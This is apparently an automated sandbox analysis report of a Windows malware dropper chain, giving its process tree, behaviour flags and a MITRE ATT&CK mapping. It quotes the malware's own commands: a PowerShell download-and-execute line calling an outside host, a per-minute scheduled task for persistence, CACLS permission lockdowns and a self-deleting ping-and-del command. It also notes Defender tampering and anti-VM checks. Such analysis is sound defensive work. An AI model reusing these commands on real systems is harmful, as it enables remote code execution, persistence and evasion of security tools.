PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1476 wrote to memory of 1080	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	ry93gP66.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 1080 wrote to memory of 564	1080	ry93gP66.exe	legenda.exe
PID 564 wrote to memory of 1164	564	legenda.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe
"C:\Users\Admin\AppData\Local\Temp\361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1476

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\will8944.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\will8944.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1700

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\will4062.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\will4062.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:468

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\will5034.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\will5034.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1628

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\mx7469Yi.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\mx7469Yi.exe
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ns8020nO.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ns8020nO.exe
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\py79oo52.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\py79oo52.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:844

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\qs3105Pe.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\qs3105Pe.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ry93gP66.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ry93gP66.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1080

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:564

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F
4⤵
- Creates scheduled task(s)
PID:1164

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit
4⤵
PID:1612

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1324

C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:N"
5⤵
PID:1520

C:\Windows\SysWOW64\cacls.exe
CACLS "legenda.exe" /P "Admin:R" /E
5⤵
PID:284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1704

C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:N"
5⤵
PID:916

C:\Windows\SysWOW64\cacls.exe
CACLS "..\f22b669919" /P "Admin:R" /E
5⤵
PID:1244

C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe
"C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752

C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe
"C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe"
5⤵
- Executes dropped EXE
PID:916

C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1952

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
5⤵
PID:1972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
6⤵
- Blocklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1572

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000114001\sqlcmd.exe" >> NUL
5⤵
PID:1392

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:1512

C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
"C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1288

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
5⤵
PID:544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
6⤵
- Blocklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe" >> NUL
5⤵
PID:276

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:1700

C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe
"C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe"
4⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:972

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
4⤵
- Loads dropped DLL
PID:1164

C:\Windows\system32\taskeng.exe
taskeng.exe {97756F0D-FBAF-4C8F-9151-2EB8DE98766A} S-1-5-21-3430344531-3702557399-3004411149-1000:WFSTZEPN\Admin:Interactive:[1]
1⤵
PID:1312

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
2⤵
- Executes dropped EXE
PID:1372

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

System Information Discovery